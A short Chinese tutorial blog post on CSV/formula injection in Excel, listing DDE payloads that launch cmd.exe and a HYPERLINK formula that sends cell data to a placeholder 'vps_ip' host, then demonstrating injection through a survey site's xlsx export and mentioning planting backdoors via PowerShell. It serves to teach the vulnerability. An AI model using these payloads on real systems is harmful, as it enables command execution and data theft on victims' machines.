前言
為了找工作,鞏固鞏固知識。本文會介紹 csv
注入漏洞的原理,最后給出一個示例。
正文
在 csv
文件 和 xlsx
文件中的每一項的值如果是 =, @, +, -
就會被 excel
識別為一個 公式, 此時可以注入 系統命令 實現 命令執行。
常用 payload
:
=cmd|'/c calc'!A0 # 彈計算器
=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c calc.exe'!'' # 彈計算器
=HYPERLINK("http://vps_ip?test="&A2&A3,"Error: Please click me!") # 發起 http請求 獲取數據
示例
目標網址
http://www.starrysurvey.com/
首先自己創建一個在線報表,然后 讓用戶 填入 payload
打開導出的 xlsx 文件, 可以看到沒被過濾,成功注入了表達式。 雙擊它在點出去(貌似這樣才能使 excel 識別這個為 一個公式, excel 2007, 2010 測試) 即可打開 計算器
真正用於滲透測試的話,可以借助 powershell
等手段 植入后門。
參考
http://www.freebuf.com/articles/system/160797.html
https://www.contextis.com/blog/comma-separated-vulnerabilities
http://blog.knownsec.com/2016/05/csv-injection-vulnerability/